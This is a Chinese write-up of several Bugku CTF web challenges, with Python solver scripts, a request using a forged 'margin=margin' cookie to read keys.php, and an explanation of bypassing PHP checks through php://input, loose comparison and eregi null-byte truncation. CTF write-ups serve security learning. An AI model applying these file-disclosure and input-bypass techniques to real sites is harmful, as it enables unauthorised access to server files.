Bugku-WP(二)

一、Web

1、秋名山老司机

1.题目介绍

2.解题过程

参考

import requests
import re
url = 'http://123.206.87.240:8002/qiumingshan/'
r = requests.session()
requestpage = r.get(url)
ans = re.findall('<div>(.*?)=?;</div>', requestpage.text)
ans = "".join(ans)
ans = ans[:-2]
post = eval(ans)
data = {'value': post}
flag = r.post(url, data=data)
print(flag.text)

Bugku{YOU_DID_IT_BY_SECOND}

2、速度要快

1.题目介绍

2.解题过程

抓包看一看

抓了个包之后,在返回包中似乎发现了base64编码的flag字段。解密得到数字猜测就是margin的值。

我们使用post提交看看

看来手速不行呀,只能上脚本了~

import requests
import base64
import re

s = requests.Session()
headers = s.get("http://123.206.87.240:8002/web6/").headers
str1 = str(base64.b64decode(headers['flag']), 'utf-8')  # 打印头部中的flag信息,base64解码,将bytes类型转换成string
str2 = re.findall('\w*', str1)  # 匹配非特殊字符
str3 = str2[5:6]  # 截取编码
str4 = "".join(str3)  # 转换成字符串
str5 = str(base64.b64decode(str4), 'utf-8')  # 解码
post = {'margin': str5}
flag = s.post("http://123.206.87.240:8002/web6/", data=post)
print(flag.text)

KEY{111dd62fcd377076be18a}

3、cookies欺骗

1.题目介绍

2.解题过程

抓个包,啥也没有

突然发现URL上有base64加密

访问这个key.txt。和之前一样,没啥发现

line参数应该是行数,试一下 line=1

构造:http://123.206.87.240:8002/web11/index.php?line=1&filename=aW5kZXgucGhw

将line的值分别改成2、3、4…………试了一下好像很多的样子…………用py脚本跑一下

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import requests

s = requests.Session()
url = 'http://123.206.87.240:8002/web11/index.php'
for i in range(1, 20):
    payload = {'line': str(i), 'filename': 'aW5kZXgucGhw'}
    a = s.get(url, params=payload).content
    content = str(a, encoding="utf-8")
    print(content)

得到以下源码

error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>

构造cookie margin=margin 然后读keys.php即可

GET /web11/index.php?line=&filename=a2V5cy5waHA= HTTP/1.1
Host: 123.206.87.240:8002
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: margin=margin
Connection: close

KEY{key_keys}

4、never give up

1.题目介绍

2.解题过程

先查看一番网页源代码

我们看到1p.html。于是尝试打开这个页面~看到了BugKu的官网~

没啥发现。我们来查看一下1p.html的源码

发现一段密文,进行URL解码~

<script>window.location.href='http://www.bugku.com';</script> 
<!--JTIyJTNCaWYlMjglMjElMjRfR0VUJTVCJTI3aWQlMjclNUQlMjklMEElN0IlMEElMDloZWFkZXIlMjglMjdMb2NhdGlvbiUzQSUyMGhlbGxvLnBocCUzRmlkJTNEMSUyNyUyOSUzQiUwQSUwOWV4aXQlMjglMjklM0IlMEElN0QlMEElMjRpZCUzRCUyNF9HRVQlNUIlMjdpZCUyNyU1RCUzQiUwQSUyNGElM0QlMjRfR0VUJTVCJTI3YSUyNyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJTI3YiUyNyU1RCUzQiUwQWlmJTI4c3RyaXBvcyUyOCUyNGElMkMlMjcuJTI3JTI5JTI5JTBBJTdCJTBBJTA5ZWNobyUyMCUyN25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJTI3JTNCJTBBJTA5cmV0dXJuJTIwJTNCJTBBJTdEJTBBJTI0ZGF0YSUyMCUzRCUyMEBmaWxlX2dldF9jb250ZW50cyUyOCUyNGElMkMlMjdyJTI3JTI5JTNCJTBBaWYlMjglMjRkYXRhJTNEJTNEJTIyYnVna3UlMjBpcyUyMGElMjBuaWNlJTIwcGxhdGVmb3JtJTIxJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuJTI4JTI0YiUyOSUzRTUlMjBhbmQlMjBlcmVnaSUyOCUyMjExMSUyMi5zdWJzdHIlMjglMjRiJTJDMCUyQzElMjklMkMlMjIxMTE0JTIyJTI5JTIwYW5kJTIwc3Vic3RyJTI4JTI0YiUyQzAlMkMxJTI5JTIxJTNENCUyOSUwQSU3QiUwQSUwOXJlcXVpcmUlMjglMjJmNGwyYTNnLnR4dCUyMiUyOSUzQiUwQSU3RCUwQWVsc2UlMEElN0IlMEElMDlwcmludCUyMCUyMm5ldmVyJTIwbmV2ZXIlMjBuZXZlciUyMGdpdmUlMjB1cCUyMCUyMSUyMSUyMSUyMiUzQiUwQSU3RCUwQSUwQSUwQSUzRiUzRQ==-->

发现还是密文,进行base64解密

<!--";if(!$_GET['id'])          #限制 URL 查询字符串中必须有非空非零变量 id
{
    header('Location: hello.php?id=1');
    exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))               #限制变量 $a 中不能含有字符 .
{
    echo 'no no no no no no no';
    return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)             
#要满足以下 5 条表达式才会爆 flag(见代码后面)
#变量 $data 弱等于字符串 bugku is a nice plateform!  
{
    require("f4l2a3g.txt");
}
else
{
    print "never never never give up !!!";
}
 
 
?>-->
5-条表达式
1.变量 $id 弱等于整型数 0
2.变量 $b 的长度大于 5
3.字符串 1114 要与字符串 111 连接变量 $b 的第一个字符构成的正则表达式匹配
4.变量 $b 的第一个字符弱不等于整型数 4
5.变量 $data 弱等于字符串 bugku is a nice plateform! 
查一下php的手册,https://php.net/manual/zh/types.comparisons.php
PHP 伪协议
php:// - 访问各种I / O流
查一下php的手册
参考:https://www.php.net/manual/en/wrappers.php.php
源码中变量 $data 是由 file_get_contents() 函数读取变量 $a 的值而得,所以 $a 的值必须为数据流。
在服务器中自定义一个内容为 bugku is a nice plateform! 文件,再把此文件路径赋值给 $a,显然不太靠谱。
因此这里用伪协议 php:// 来访问输入输出的数据流,其中 php://input可以访问原始请求数据中的只读流。
这里令 $a = "php://input",并在请求主体中提交字符串 bugku is a nice plateform!。
再次需要查查php手册了
参考:https://php.net/manual/en/function.eregi.php

eregi() 截断漏洞
ereg() 函数或 eregi() 函数存在空字符截断漏洞,即参数中的正则表达式或待匹配字符串遇到空字符则截断丢弃后面的数据。
源码中待匹配字符串(第二个参数)已确定为 "1114",正则表达式(第一个参数)由 "111" 连接 $b 的第一个字符组成,若令 substr($b,0,1) = "\x00",即满足 "1114" 与 "111"匹配。因此,这里假设 $b = "\x0012345",才能满足条件。

构造 payload 咯。分析出以上三个变量应该等于什么值之后接下来构造出对应的 payload 去 拿flag 了。 注意一点~在构造变量 b 中的空字符时,过早将空字符 \x00 放入,在提交请求时导致请求头截断,继而请求失败,得不到响应。 因为

所以,构造出此payload

还有一种方法,直接打开这个txt

flag{tHis_iS_THe_fLaG}

5、welcome to bugkuctf

1.题目介绍

2.解题过程

参考~本题链接挂了

flag{php_is_the_best_language}

6、过狗一句话

1.题目介绍

2.解题过程

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇